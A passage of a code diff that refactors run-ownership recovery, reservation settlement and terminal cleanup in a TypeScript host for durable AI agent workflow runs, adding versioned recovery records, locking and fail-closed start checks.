+        !scope.init.runtime.isRunActive(state.execution.workflowId, runId)
+      );
+    };
+    if (!quiescent()) throw new RunStartPendingError();
+    await scope.init.runtime.settleStartExecution(state);
+    const current = await readRun(runId);
+    if (current !== undefined && !sameRunRecord(current, expected))
+      throw new Error('agent run record changed');
+    if (!quiescent()) throw new RunStartPendingError();
+    if (current) await deleteAgentRunRecord(options.stateStorage(), runId);
+  };
+
+  const finalizeJournalBookkeeping = async (
+    recovery: AgentOwnerRecovery,
     summary: RunSummary,
+  ): Promise<boolean> => {
+    await assertRecoveryCurrent(recovery);
+    if (!recovery.threaded && !isTerminalRunStatus(summary.status)) {
+      await ensureOwnerRecoveryAlarm(options.stateStorage());
+      return false;
+    }
+    if (!recovery.threaded) await releaseEphemeralOwnerClaims(recovery);
+    if (isTerminalRunStatus(summary.status)) {
+      const current = await readRun(recovery.runId);
+      if (current !== undefined && !sameRunRecord(current, recovery.runRecord))
+        throw new Error('agent run record changed');
+      if (current)
+        await deleteAgentRunRecord(options.stateStorage(), recovery.runId);
+    }
+    return true;
+  };
+
+  const finishLifecycle = async (
+    scope: AgentThreadInstanceScope,
+    recovery: AgentOwnerRecovery,
+    transition: RunLifecycleTransitionResult,
+  ): Promise<RunSummary> => {
+    await assertRecoveryCurrent(recovery);
+    const workflowId = recovery.execution?.workflowId;
+    if (!workflowId) throw new Error('agent recovery has no execution');
+    await options.resourceAccess().settleReservation(recovery.token, []);
+    await assertRecoveryCurrent(recovery);
+    if (!transition.cleanup.cleanupCompleted) {
+      await abandonApprovalsForRun(
+        options.approvalService(scope),
+        workflowId,
+        recovery.runId,
+        transition.cleanup.status,
+        systemPrincipalId,
+      );
+      const dispatch = transition.cleanup.scheduleDispatch;
+      if (dispatch) {
+        if (!options.discardScheduleDispatch)
+          throw new Error(
+            'scheduled agent termination requires a dispatch-discard hook',
+          );
+        await options.discardScheduleDispatch(
+          dispatch.scheduleId,
+          dispatch.dispatchId,
+          recovery.runId,
+        );
+      }
+      const ownership = options.resourceAccess();
+      if (
+        !(await ownership.release('run', recovery.runId, recovery.owner)) &&
+        (await ownership.owner('run', recovery.runId))
+      )
+        throw new Error('run ownership could not be released');
+    }
+    await finalizeJournalBookkeeping(recovery, transition.summary);
+    return transition.cleanup.cleanupCompleted
+      ? transition.summary
+      : scope.init.runtime.completeTerminalCleanup(
+          workflowId,
+          recovery.runId,
+          transition.cleanup.revision,
+        );
+  };
+
+  const finalizeOwnerRecovery = async (
+    scope: AgentThreadInstanceScope,
+    recovery: AgentOwnerRecovery,
+    state: AuthoritativeAgentStartState,
+    ownFrame?: TrustedAgentExecution,
+  ): Promise<RunSummary> =>
+    withBindingLock(async () => {
+      if (recovery.startReservation && !scope.init.runtime.startIdempotency)
+        throw new ExecutionFenceUnreadableError(
+          'run start recovery is unresolved',
+        );
+      const active = executions.get(recovery.runId);
+      if (
+        (active !== undefined &&
+          (active !== ownFrame || !unwoundExecutions.has(active))) ||
+        scope.init.runtime.isRunActive(
+          state.execution.workflowId,
+          recovery.runId,
+        )
+      )
+        throw new RunStartPendingError();
+      await assertRecoveryCurrent(recovery);
+      const selected = matchRecoveryState(recovery, state);
+      if (selected.kind === 'initial') throw new RunStartPendingError();
+      if (isTerminalRunStatus(selected.summary.status))
+        await scope.init.runtime.settleStartExecution(
+          selected,
+          recovery.startReservation,
+        );
+      const cleanup = terminalCleanupFor(
+        lifecycleFromRequestContext(selected.snapshot.requestContext),
+      );
+      let summary = selected.summary;
+      const clear = await withRecoveryLock(async () => {
+        await assertRecoveryCurrent(recovery);
+        if (cleanup) {
+          summary = await finishLifecycle(scope, recovery, {
+            summary,
+            transitioned: false,
+            casMatched: true,
+            cleanup,
+          });
+          return true;
+        }
+        await options.resourceAccess().settleReservation(recovery.token, []);
+        return finalizeJournalBookkeeping(recovery, summary);
+      });
+      if (clear) await clearOwnerRecovery(recovery);
+      return summary;
+    });
+
+  const finalizeTerminalAgentState = async (
+    scope: AgentThreadInstanceScope,
+    ref: { agentId: string; resourceId: string; runId: string },
+    state: NormalAgentRunState | undefined,
+    expectedRecord: AgentRunRecord | undefined,
   ): Promise<void> => {
-    const storage = options.stateStorage();
-    const key = ownerRecoveryKey(runId);
-    const recovery = await storage.get<AgentOwnerRecovery>(key);
-    if (recovery) {
-      validateOwnerRecovery(threadId, key, recovery);
-      await finalizeOwnerRecovery(recovery, summary);
+    const selected =
+      state ?? (await selectedAgentState(scope, ref, { includeLegacy: true }));
+    if (
+      !selected ||
+      selected.kind === 'initial' ||
+      !isTerminalRunStatus(selected.summary.status)
+    )
+      throw new RunStartPendingError();
+    const stored = await options
+      .stateStorage()
+      .get(ownerRecoveryKey(ref.runId));
+    if (stored !== undefined) {
+      if (selected.kind === 'legacy')
+        throw new ExecutionFenceUnreadableError(
+          'legacy run cleanup is unresolved',
+        );
+      const recovery = validateOwnerRecovery(
+        scope.threadId,
+        ownerRecoveryKey(ref.runId),
+        stored,
+      );
+      await finalizeOwnerRecovery(scope, recovery, selected);
+      return;
     }
-    await deleteAgentRunRecord(storage, runId);
+    await withBindingLock(() =>
+      withRecoveryLock(async () => {
+        if (expectedRecord)
+          await finalizeTerminalRecord(
+            scope,
+            ref.runId,
+            expectedRecord,
+            selected,
+          );
+        else if (selected.kind === 'legacy')
+          await assertLegacyTerminalCurrent(scope, ref, selected, undefined);
+        else {
+          if ((await readRun(ref.runId)) !== undefined)
+            throw new Error('agent run record changed');
+          await scope.init.runtime.settleStartExecution(selected);
+        }
+      }),
+    );
   };
 
   const withExecution = async <T>(
@@ -986,7 +1495,8 @@ export function createThreadAgentHost(
     try {
       return await operation();
     } finally {
-      executions.delete(execution.runId);
+      if (executions.get(execution.runId) === execution)
+        executions.delete(execution.runId);
     }
   };
 
@@ -1027,7 +1537,7 @@ export function createThreadAgentHost(
     const service = options.approvalService(instanceScopeFor(scope));
     await reconcileApprovalsForSummary(
       service,
-      DURABLE_AGENTIC_LOOP_WORKFLOW_ID,
+      await workflowIdFor(scope, agentId),
       summary,
       systemPrincipalId,
       {
@@ -1041,7 +1551,7 @@ export function createThreadAgentHost(
     );
     const records = await service.list(
       {
-        workflowId: DURABLE_AGENTIC_LOOP_WORKFLOW_ID,
+        workflowId: await workflowIdFor(scope, agentId),
         runId: summary.runId,
       },
       principalActor(systemPrincipal()),
@@ -1106,194 +1616,226 @@ export function createThreadAgentHost(
 
   const snapshotExecutionFor = async (
     scope: ThreadScope,
-    ref: {
-      agentId: string;
-      resourceId: string;
-      runId: string;
-    },
-  ): Promise<{
-    threaded: boolean;
-    safeContext: Record<string, unknown>;
-  }> => {
-    const workflows = await options
-      .storage(instanceScopeFor(scope))
-      .getStore('workflows');
-    const snapshot = await workflows?.loadWorkflowSnapshot({
-      workflowName: DURABLE_AGENTIC_LOOP_WORKFLOW_ID,
-      runId: ref.runId,
-    });
-    const input = snapshot?.context.input as
-      | {
-          agentId?: unknown;
-          messageListState?: {
-            memoryInfo?: {
-              threadId?: unknown;
-              resourceId?: unknown;
-            } | null;
-          };
-        }
-      | undefined;
-    const requestContext = snapshot?.requestContext as
-      | Record<string, unknown>
-      | undefined;
-    const correlation = requestContext?.['breakwater.auditContext'] as
-      | Record<string, unknown>
-      | undefined;
-    const memory = input?.messageListState?.memoryInfo;
-    const memoryMatches =
-      memory === null ||
-      (memory?.threadId === scope.threadId &&
-        memory.resourceId === ref.resourceId);
-    if (
-      input?.agentId !== ref.agentId ||
-      requestContext?.runId !== ref.runId ||
-      requestContext.threadId !== scope.threadId ||
-      requestContext.resourceId !== ref.resourceId ||
-      correlation?.agentId !== ref.agentId ||
-      correlation.threadId !== scope.threadId ||
-      correlation.resourceId !== ref.resourceId ||
-      !memoryMatches
-    ) {
-      throw new AgentHostRequestError(404, 'run not found');
-    }
+    ref: { agentId: string; resourceId: string; runId: string },
+    knownState?: NormalAgentRunState | null,
+  ) => {
+    const state =
+      knownState === undefined
+        ? await selectedAgentState(scope, ref, { includeLegacy: true })
+        : knownState;
+    if (!state) throw new AgentHostRequestError(404, 'run not found');
+    if (state.kind === 'initial') throw new RunStartPendingError();
     return {
-      threaded: memory !== null,
-      safeContext: sanitizeStoredAgentContext(requestContext),
+      state,
+      threaded: state.threaded,
+      safeContext: sanitizeStoredAgentContext(state.snapshot.requestContext),
     };
   };
 
-  let recoverOwner: (
-    scopeRuntime: ThreadScope['init']['runtime'],
-    threadId: string,
-    key: string,
-    stored: AgentOwnerRecovery,
-    ignoreActive?: boolean,
-  ) => Promise<'cleared' | 'pending'>;
-
   const statusFor = async (
     scope: ThreadScope,
-    ref: {
-      agentId: string;
-      resourceId: string;
-      runId: string;
-    },
-    knownThreaded?: boolean,
+    ref: { agentId: string; resourceId: string; runId: string },
+    knownState?: NormalAgentRunState | null,
   ): Promise<AgentRunEnvelope> => {
+    const stored = await readRun(ref.runId);
+    const selected =
+      knownState === undefined
+        ? await selectedAgentState(scope, ref, { includeLegacy: true })
+        : knownState;
+    if (!selected) throw new AgentHostRequestError(404, 'run not found');
+    if (selected.kind === 'initial') throw new RunStartPendingError();
+    const summary = selected.summary;
     const binding = await readBinding();
-    const current = await runtimeFor(scope);
-    if (!current.catalog.get(ref.agentId)) {
-      throw new AgentHostRequestError(404, 'agent not found');
-    }
-    const summary = await scope.init.runtime.status(
-      DURABLE_AGENTIC_LOOP_WORKFLOW_ID,
-      ref.runId,
-    );
-    if (!summary) throw new AgentHostRequestError(404, 'run not found');
-    const threaded =
-      knownThreaded ?? (await snapshotExecutionFor(scope, ref)).threaded;
     const bindingMatches =
       binding?.agentId === ref.agentId && binding.resourceId === ref.resourceId;
-    if ((threaded && !bindingMatches) || (!threaded && binding)) {
+    if (
+      (selected.threaded && !bindingMatches) ||
+      (!selected.threaded && binding)
+    )
       throw new AgentHostRequestError(404, 'run not found');
-    }
-    const stored = await readRun(ref.runId);
-    if (stored && stored.agentId !== ref.agentId) {
+    if (stored && stored.agentId !== ref.agentId)
       throw new AgentHostRequestError(404, 'run not found');
-    }
-    if (summary.status === 'suspended' && !stored) {
+    if (summary.status === 'suspended' && !stored)
       throw new AgentHostRequestError(
         409,
         'suspended agent run has no recoverable execution principal',
       );
-    }
-    const principal = stored?.principal ?? scope.principal;
-    const result = await envelopeFor(scope, ref, principal, summary);
-    if (isTerminalRunStatus(summary.status) && stored) {
-      await deleteAgentRunRecord(options.stateStorage(), ref.runId);
-    }
-    if (isTerminalRunStatus(summary.status)) {
-      const key = ownerRecoveryKey(ref.runId);
-      const recovery = await options
-        .stateStorage()
-        .get<AgentOwnerRecovery>(key);
-      if (recovery) {
-        await recoverOwner(
-          scope.init.runtime,
-          scope.threadId,
-          key,
-          recovery,
-          true,
-        );
-      }
-    }
-    return result;
+    if (isTerminalRunStatus(summary.status))
+      await finalizeTerminalAgentState(scope, ref, selected, stored);
+    return envelopeFor(
+      scope,
+      ref,
+      stored?.principal ?? scope.principal,
+      summary,
+    );
   };
 
-  recoverOwner = async (
-    scopeRuntime: ThreadScope['init']['runtime'],
-    threadId: string,
+  const recoverOwner = async (
+    scope: AgentThreadInstanceScope,
     key: string,
-    stored: AgentOwnerRecovery,
-    ignoreActive = false,
-  ): Promise<'cleared' | 'pending'> =>
+    value: unknown,
+    ownFrame?: TrustedAgentExecution,
+    ownFailure?: unknown,
+  ): Promise<RunSummary | null> =>
     withBindingLock(() =>
       withRecoveryLock(async () => {
-        validateOwnerRecovery(threadId, key, stored);
+        const stored = validateOwnerRecovery(scope.threadId, key, value);
+        if (stored.startReservation && !scope.init.runtime.startIdempotency)
+          throw new ExecutionFenceUnreadableError(
+            'run start recovery is unresolved',
+          );
+        await assertRecoveryCurrent(stored);
+        const quiescent = (): boolean => {
+          const active = executions.get(stored.runId);
+          return (
+            active === undefined ||
+            (active === ownFrame && unwoundExecutions.has(active))
+          );
+        };
+        if (
+          !quiescent() ||
+          scope.init.runtime
+            .workflowIds()
+            .some((workflowId) =>
+              scope.init.runtime.isRunActive(workflowId, stored.runId),
+            )
+        )
+          throw new RunStartPendingError();
+        let recovered: RecoveredStart | null = null;
+        if (stored.phase !== 'preparing') {
+          const current = await runtimeFor(scope);
+          const durable = current.agents.get(stored.agentId);
+          if (
+            !durable ||
+            stored.execution.workflowId !== durable.getWorkflow().id
+          )
+            throw new Error(
+              'stored agent owner recovery does not match the wrapper',
+            );
+          if (
+            scope.init.runtime.isRunActive(
+              stored.execution.workflowId,
+              stored.runId,
+            )
+          )
+            throw new RunStartPendingError();
+          if (stored.phase === 'prepared') {
+            recovered = await scope.init.runtime.recoverStartAttempt(
+              stored.execution,
+              {
+                attemptToken: stored.token,
+                isOwnerQuiescent: quiescent,
+                startReservation: stored.startReservation,
+                expectedTarget: {
+                  kind: 'agent',
+                  id: stored.agentId,
+                  threadId: stored.threadId,
+                  owner: principalOwner(stored.runRecord.principal),
+                  threaded: stored.threaded,
+                },
+              },
+            );
+          } else {
+            const selected = matchRecoveryState(
+              stored,
+              await selectedAgentState(scope, stored),
+            );
+            if (selected.kind === 'initial') throw new RunStartPendingError();
+            if (isTerminalRunStatus(selected.summary.status))
+              await scope.init.runtime.settleStartExecution(
+                selected,
+                stored.startReservation,
+              );
+            const cleanup = terminalCleanupFor(
+              lifecycleFromRequestContext(selected.snapshot.requestContext),
+            );
+            recovered = cleanup
+              ? {
+                  kind: 'lifecycle',
+                  transition: {
+                    summary: selected.summary,
+                    transitioned: false,
+                    casMatched: true,
+                    cleanup,
+                  },
+                }
+              : { kind: 'ordinary', summary: selected.summary };
+          }
+        }
+        if (recovered) {
+          let summary =
+            recovered.kind === 'ordinary'
+              ? recovered.summary
+              : recovered.transition.summary;
+          let clear: boolean;
+          if (recovered.kind === 'lifecycle') {
+            summary = await finishLifecycle(
+              scope,
+              stored,
+              recovered.transition,
+            );
+            clear = true;
+          } else {
+            await assertRecoveryCurrent(stored);
+            await options.resourceAccess().settleReservation(stored.token, []);
+            clear = await finalizeJournalBookkeeping(stored, summary);
+          }
+          if (clear) {
+            await assertRecoveryCurrent(stored);
+            await options.stateStorage().delete(key);
+          }
+          return summary;
+        }
+        await assertRecoveryCurrent(stored);
+        const localZero = (): boolean =>
+          stored.phase === 'prepared' &&
+          ownFrame !== undefined &&
+          executions.get(stored.runId) === ownFrame &&
+          unwoundExecutions.has(ownFrame) &&
+          isDefinitiveInitialAdmissionRefusal(ownFailure, stored.execution);
+        if (stored.phase === 'prepared' && !localZero()) {
+          await options.resourceAccess().settleReservation(stored.token, [
+            { kind: 'run', resourceId: stored.runId },
+            { kind: 'thread', resourceId: stored.threadId },
+            { kind: 'resource', resourceId: stored.resourceId },
+          ]);
+          await ensureOwnerRecoveryAlarm(options.stateStorage());
+          throw new ExecutionFenceUnreadableError(
+            'run start recovery is unresolved',
+          );
+        }
         const storage = options.stateStorage();
-        const currentRecovery = await storage.get<AgentOwnerRecovery>(key);
-        if (currentRecovery?.token !== stored.token) return 'pending';
-        if (!ignoreActive && executions.has(stored.runId)) return 'pending';
-
-        const summary = await scopeRuntime.recoverStartAttempt(
-          DURABLE_AGENTIC_LOOP_WORKFLOW_ID,
-          stored.runId,
-          stored.token,
-        );
-        const [binding, record] = await Promise.all([
-          readBinding(),
-          readRun(stored.runId),
-        ]);
-        const bindingMatches =
+        const binding = await readBinding(),
+          record = await readRun(stored.runId);
+        await assertRecoveryCurrent(stored);
+        const matches =
           binding?.agentId === stored.agentId &&
           binding.resourceId === stored.resourceId;
-        if (record && (!summary || isTerminalRunStatus(summary.status))) {
-          await deleteAgentRunRecord(storage, stored.runId);
-        }
-        if (!summary && !stored.bindingPreexisting && bindingMatches) {
+        if (record && !sameRunRecord(record, stored.runRecord))
+          throw new Error('agent run record changed');
+        if (record) await deleteAgentRunRecord(storage, stored.runId);
+        if (!stored.bindingPreexisting && matches)
           await deleteAgentThreadBinding(storage, {
             agentId: stored.agentId,
             resourceId: stored.resourceId,
           });
-        }
-
-        if (summary) {
-          await options.resourceAccess().settleReservation(stored.token, []);
-          if (!stored.threaded && !isTerminalRunStatus(summary.status)) {
-            await ensureOwnerRecoveryAlarm(storage);
-            return 'pending';
-          }
-          if (!stored.threaded) await releaseEphemeralOwnerClaims(stored);
-          const current = await storage.get<AgentOwnerRecovery>(key);
-          if (current?.token === stored.token) await storage.delete(key);
-          return 'cleared';
-        }
-
         const release: Array<{
           kind: 'run' | 'thread' | 'resource';
           resourceId: string;
         }> = [{ kind: 'run', resourceId: stored.runId }];
-        const retainThread =
-          stored.threaded && stored.bindingPreexisting && bindingMatches;
-        if (!retainThread) {
+        if (!(stored.threaded && stored.bindingPreexisting && matches))
           release.push(
             { kind: 'resource', resourceId: stored.resourceId },
             { kind: 'thread', resourceId: stored.threadId },
           );
-        }
         await options.resourceAccess().settleReservation(stored.token, release);
-        const current = await storage.get<AgentOwnerRecovery>(key);
-        if (current?.token === stored.token) await storage.delete(key);
-        return 'cleared';
+        await assertRecoveryCurrent(stored);
+        if (stored.phase === 'prepared' && !localZero())
+          throw new ExecutionFenceUnreadableError(
+            'run start recovery is unresolved',
+          );
+        await storage.delete(key);
+        return null;
       }),
     );
 
@@ -1301,7 +1843,8 @@ export function createThreadAgentHost(
     requestContextForRun: (base) => async (workflowId, runId, leg) => {
       const values = base ? await base(workflowId, runId, leg) : undefined;
       const execution = executions.get(runId);
-      return execution && workflowId === DURABLE_AGENTIC_LOOP_WORKFLOW_ID
+      return execution &&
+        workflowId === runtime?.agents.get(execution.agentId)?.getWorkflow().id
         ? {
             ...execution.safeContext,
             ...values,
@@ -1310,41 +1853,35 @@ export function createThreadAgentHost(
         : values;
     },
     serializeDispatch: withDispatchLock,
-    blockingRun: (scope) => findBlockingRun(scope.init.runtime),
+    blockingRun: (scope) =>
+      withBindingLock(() => findBlockingRun(instanceScopeFor(scope))),
     scheduleDispatchStatus: async (scope, input) => {
       const ref = runRef(scope, {
         ...input,
         threadId: scope.threadId,
       });
       const key = ownerRecoveryKey(ref.runId);
-      const recovery = await options
-        .stateStorage()
-        .get<AgentOwnerRecovery>(key);
-      if (recovery) {
-        await recoverOwner(
-          scope.init.runtime,
-          scope.threadId,
-          key,
-          recovery,
-          true,
-        );
+      const recovery = await options.stateStorage().get<unknown>(key);
+      if (recovery !== undefined) {
+        await recoverOwner(scope, key, recovery);
       }
-      const summary = await scope.init.runtime.status(
-        DURABLE_AGENTIC_LOOP_WORKFLOW_ID,
-        ref.runId,
-      );
-      if (!summary) return undefined;
-      return (await statusFor(scope, ref)).summary;
+      const selected = await selectedAgentState(scope, ref, {
+        includeLegacy: true,
+      });
+      if (!selected) return undefined;
+      if (selected.kind === 'initial') throw new RunStartPendingError();
+      return (await statusFor(scope, ref, selected)).summary;
     },
-    recoverOwnership: (scopeRuntime, threadId) =>
-      withDispatchLock(async () => {
+    recoverOwnership: (inputScope) => {
+      const scope = instanceScopeFor(inputScope);
+      return withDispatchLock(async () => {
         const storage = options.stateStorage();
         try {
           const pending = await storage.list<AgentOwnerRecovery>({
             prefix: AGENT_OWNER_RECOVERY_PREFIX,
           });
           for (const [key, stored] of pending) {
-            await recoverOwner(scopeRuntime, threadId, key, stored);
+            await recoverOwner(scope, key, stored);
           }
           await withRecoveryLock(async () => {
             const remaining = await storage.list({
@@ -1360,9 +1897,77 @@ export function createThreadAgentHost(
           await withRecoveryLock(() => ensureOwnerRecoveryAlarm(storage));
           throw error;
         }
-      }),
-    start: async (scope, input) => {
-      const ref = runRef(scope, input as unknown as Record<string, unknown>);
+      });
+    },
+    start: async (sourceScope, sourceInput) => {
+      const principal = assertExecutionPrincipal(
+        sourceScope.principal,
+        'thread start principal',
+      );
+      const mutationEpoch = normalizeMutationEpoch(sourceScope.mutationEpoch);
+      const { threadId, deploymentTag, init } = sourceScope;
+      const scope: ThreadScope = Object.freeze({
+        principal,
+        mutationEpoch,
+        threadId,
+        deploymentTag,
+        init,
+      });
+      const {
+        agentId,
+        threadId: inputThreadId,
+        resourceId,
+        runId,
+        prompt,
+        messages: inputMessages,
+        entryPath: inputEntryPath,
+        threaded: inputThreaded,
+        scheduleId,
+        dispatchId,
+        scheduleDispatchLease,
+        safeContext: inputSafeContext,
+        providerOptions: inputProviderOptions,
+        idempotencyKey,
+        startReservation: suppliedReservation,
+      } = sourceInput;
+      const startReservation =
+        suppliedReservation === undefined
+          ? undefined
+          : captureReservation(suppliedReservation, 'started');
+      if (
+        startReservation &&
+        (startReservation.key !== idempotencyKey ||
+          startReservation.runId !== runId ||
+          startReservation.threadId !== threadId ||
+          startReservation.targetKind !== 'agent' ||
+          startReservation.targetId !== agentId ||
+          startReservation.owner.kind !== principal.kind ||
+          startReservation.owner.id !== principal.id ||
+          !init.runtime.startIdempotency)
+      )
+        throw new AgentHostRequestError(
+          400,
+          'start reservation does not match the trusted start',
+        );
+      const input: ThreadAgentStartInput = {
+        agentId,
+        threadId: inputThreadId,
+        resourceId,
+        runId,
+        prompt,
+        messages: inputMessages,
+        entryPath: inputEntryPath,
+        threaded: inputThreaded,
+        scheduleId,
+        dispatchId,
+        scheduleDispatchLease,
+        safeContext: inputSafeContext,
+        providerOptions: inputProviderOptions,
+        idempotencyKey,
+      };
+      const ref = Object.freeze(
+        runRef(scope, input as unknown as Record<string, unknown>),
+      );
       const entry = entryPath(input.entryPath);
       const threaded = input.threaded !== false;
       const source = await resolveStartSource(
@@ -1373,6 +1978,21 @@ export function createThreadAgentHost(
         input.scheduleId,
         input.dispatchId,
       );
+      const rawOwner = source.owner;
+      const owner = canonicalResourceOwner({
+        kind: rawOwner.kind,
+        id: rawOwner.id,
+      });
+      const startIdentity: AgentStartAuthority['startIdentity'] = Object.freeze(
+        {
+          owner: principalOwner(principal),
+          target: Object.freeze({
+            kind: 'agent',
+            id: ref.agentId,
+            threadId: ref.threadId,
+          }),
+        },
+      );
       const hasPrompt =
         source.target === undefined && input.prompt !== undefined;
       const hasMessages =
@@ -1400,7 +2020,6 @@ export function createThreadAgentHost(
       const resolvedProviderOptions = source.target
         ? source.target.providerOptions
         : input.providerOptions;
-      const owner = source.owner;
       const { current, module, principalPermissions } = await authorize(
         scope,
         ref.agentId,
@@ -1427,23 +2046,15 @@ export function createThreadAgentHost(
       };
       const durable = current.agents.get(module.meta.id);
       if (!durable) throw new Error('guarded agent was not registered');
+      const recoveryKey = ownerRecoveryKey(ref.runId);
+      const pending = await options.stateStorage().get<unknown>(recoveryKey);
+      if (pending !== undefined) {
+        await recoverOwner(scope, recoveryKey, pending);
+      }
       return withExecution(execution, async () => {
-        const recoveryKey = ownerRecoveryKey(ref.runId);
-        const pending = await options
-          .stateStorage()
-          .get<AgentOwnerRecovery>(recoveryKey);
-        if (pending) {
-          await recoverOwner(
-            scope.init.runtime,
-            scope.threadId,
-            recoveryKey,
-            pending,
-            true,
-          );
-        }
         const existingRecord = await readRun(ref.runId);
         const existingSummary = await scope.init.runtime.status(
-          DURABLE_AGENTIC_LOOP_WORKFLOW_ID,
+          await workflowIdFor(scope, ref.agentId),
           ref.runId,
         );
         if (existingRecord || existingSummary) {
@@ -1463,81 +2074,91 @@ export function createThreadAgentHost(
           principal: scope.principal,
           originEntryPath: entry,
         };
-        const recovery = await withBindingLock(async () => {
-          const existing = await readBinding();
-          if (!threaded && existing) {
-            throw new AgentHostRequestError(
-              409,
-              'unthreaded starts require an unbound object',
-            );
-          }
-          if (threaded) {
-            const bindingMatches =
-              existing?.agentId === ref.agentId &&
-              existing.resourceId === ref.resourceId;
-            if (entry === 'schedule.fire') {
-              if (!bindingMatches) {
-                throw new AgentHostRequestError(404, 'run not found');
-              }
-            } else if (existing && !bindingMatches) {
+        let recovery: AgentOwnerRecovery = await withBindingLock(
+          async (): Promise<AgentOwnerRecovery> => {
+            const blocking = await findBlockingRun(scope);
+            if (blocking && blocking.runId !== ref.runId)
+              throw new AgentHostRequestError(
+                409,
+                `thread is blocked by run '${blocking.runId}'`,
+              );
+            const existing = await readBinding();
+            if (!threaded && existing) {
               throw new AgentHostRequestError(
                 409,
-                'thread is bound to another agent',
+                'unthreaded starts require an unbound object',
               );
             }
-          }
-          const blocking = await findBlockingRun(scope.init.runtime);
-          if (blocking && blocking.runId !== ref.runId) {
-            throw new AgentHostRequestError(
-              409,
-              `thread is blocked by run '${blocking.runId}'`,
-            );
-          }
-          const recovery: AgentOwnerRecovery = {
-            version: 1,
-            agentId: ref.agentId,
-            threadId: scope.threadId,
-            resourceId: ref.resourceId,
-            runId: ref.runId,
-            owner,
-            token: crypto.randomUUID(),
-            threaded,
-            bindingPreexisting: existing !== undefined,
-          };
-          if (
-            !threaded &&
-            (
-              await Promise.all(
-                claims.map((claim) =>
-                  options.resourceAccess().owner(claim.kind, claim.resourceId),
-                ),
-              )
-            ).some((registered) => registered !== undefined)
-          ) {
-            throw new AgentHostRequestError(404, 'run not found');
-          }
-          await armOwnerRecovery(recovery);
-          if (
-            !(await options
-              .resourceAccess()
-              .reserveAll(claims, owner, recovery.token))
-          ) {
-            await options
-              .resourceAccess()
-              .settleReservation(recovery.token, claims);
-            await clearOwnerRecovery(recovery);
-            throw new AgentHostRequestError(404, 'run not found');
-          }
-          if (threaded && !existing) {
-            await bindAgentThread(options.stateStorage(), {
-              version: 1,
+            if (threaded) {
+              const bindingMatches =
+                existing?.agentId === ref.agentId &&
+                existing.resourceId === ref.resourceId;
+              if (entry === 'schedule.fire') {
+                if (!bindingMatches) {
+                  throw new AgentHostRequestError(404, 'run not found');
+                }
+              } else if (existing && !bindingMatches) {
+                throw new AgentHostRequestError(
+                  409,
+                  'thread is bound to another agent',
+                );
+              }
+            }
+            const recovery: AgentOwnerRecovery = {
+              version: 2,
+              phase: 'preparing',
+              runRecord: stored,
+              ...(startReservation ? { startReservation } : {}),
               agentId: ref.agentId,
+              threadId: scope.threadId,
               resourceId: ref.resourceId,
-            });
-          }
-          await writeAgentRunRecord(options.stateStorage(), ref.runId, stored);
-          return recovery;
-        });
+              runId: ref.runId,
+              owner,
+              token: crypto.randomUUID(),
+              threaded,
+              bindingPreexisting: existing !== undefined,
+            };
+            if (
+              !threaded &&
+              (
+                await Promise.all(
+                  claims.map((claim) =>
+                    options
+                      .resourceAccess()
+                      .owner(claim.kind, claim.resourceId),
+                  ),
+                )
+              ).some((registered) => registered !== undefined)
+            ) {
+              throw new AgentHostRequestError(404, 'run not found');
+            }
+            await armOwnerRecovery(recovery);
+            if (
+              !(await options
+                .resourceAccess()
+                .reserveAll(claims, owner, recovery.token))
+            ) {
+              await options
+                .resourceAccess()
+                .settleReservation(recovery.token, claims);
+              await clearOwnerRecovery(recovery);
+              throw new AgentHostRequestError(404, 'run not found');
+            }
+            if (threaded && !existing) {
+              await bindAgentThread(options.stateStorage(), {
+                version: 1,
+                agentId: ref.agentId,
+                resourceId: ref.resourceId,
+              });
+            }
+            await writeAgentRunRecord(
+              options.stateStorage(),
+              ref.runId,
+              stored,
+            );
+            return recovery;
+          },
+        );
         // From here to the finally below, this object IS the run's execution.
         // Registered BEFORE the stream so the window a replaying start asks
         // about — the one before core has persisted anything — is covered too.
@@ -1546,7 +2167,7 @@ export function createThreadAgentHost(
           const streamOptions = {
             runId: ref.runId,
             requestContext: createTrustedAgentRequestContext(execution),
-            ...(input.threaded !== false
+            ...(threaded
               ? {
                   memory: {
                     thread: scope.threadId,
@@ -1567,80 +2188,78 @@ export function createThreadAgentHost(
             input.scheduleDispatchLease === 'executing'
               ? { scheduleId: input.scheduleId, dispatchId: input.dispatchId }
               : undefined;
-          await durable.streamUntilPersisted(
-            messages,
-            streamOptions,
-            scope.principal.id,
-            scope.principal.kind,
-            recovery.token,
-            scheduleDispatch,
-            input.idempotencyKey,
+          try {
+            await durable.streamUntilPersisted(
+              messages,
+              streamOptions,
+              principal.id,
+              principal.kind,
+              recovery.token,
+              scheduleDispatch,
+              idempotencyKey,
+              {
+                ...(mutationEpoch === undefined ? {} : { mutationEpoch }),
+                startIdentity,
+                agentStart: { threaded },
+                ...(startReservation ? { startReservation } : {}),
+                onPreparedStartIdentity: async (identity) => {
+                  recovery = await prepareOwnerRecovery(
+                    scope,
+                    recovery,
+                    identity,
+                  );
+                },
+                runOwnerGuard: { owner, reservationToken: recovery.token },
+              },
+            );
+          } finally {
+            unwoundExecutions.add(execution);
+          }
+          const selected = matchRecoveryState(
+            recovery,
+            await selectedAgentState(scope, ref),
           );
-          const summary = await scope.init.runtime.status(
-            DURABLE_AGENTIC_LOOP_WORKFLOW_ID,
-            ref.runId,
+          if (selected.kind === 'initial') throw new RunStartPendingError();
+          const summary = await finalizeOwnerRecovery(
+            scope,
+            recovery,
+            selected,
+            execution,
           );
-          if (!summary) throw new Error('agent run did not persist a summary');
           const result = await envelopeFor(
             scope,
             ref,
             scope.principal,
             summary,
           );
-          if (isTerminalRunStatus(result.summary.status)) {
-            await deleteAgentRunRecord(options.stateStorage(), ref.runId);
-          }
-          await finalizeOwnerRecoveryBestEffort(recovery, summary);
           return result;
         } catch (error) {
-          let summary: RunSummary | null | undefined;
+          unwoundExecutions.add(execution);
           try {
-            summary = await scope.init.runtime.recoverStartAttempt(
-              DURABLE_AGENTIC_LOOP_WORKFLOW_ID,
-              ref.runId,
-              recovery.token,
-            );
-          } catch (recoverError) {
-            // Unknown authoritative state: retain metadata and fail closed —
-            // and logged, never swallowed silently, because this read is the
-            // only thing that could tell an interrupted start apart from a
-            // failed one, and its own failure is why the journal is left
-            // armed for a wake that can read. The caller still sees the
-            // ORIGINAL start error.
-            console.error(
-              'interrupted start could not read authoritative state',
-              recoverError,
-            );
-          }
-          if (
-            summary === null ||
-            (summary && isTerminalRunStatus(summary.status))
-          ) {
-            await deleteAgentRunRecord(options.stateStorage(), ref.runId);
-          }
-          if (summary) {
-            await finalizeOwnerRecoveryBestEffort(recovery, summary);
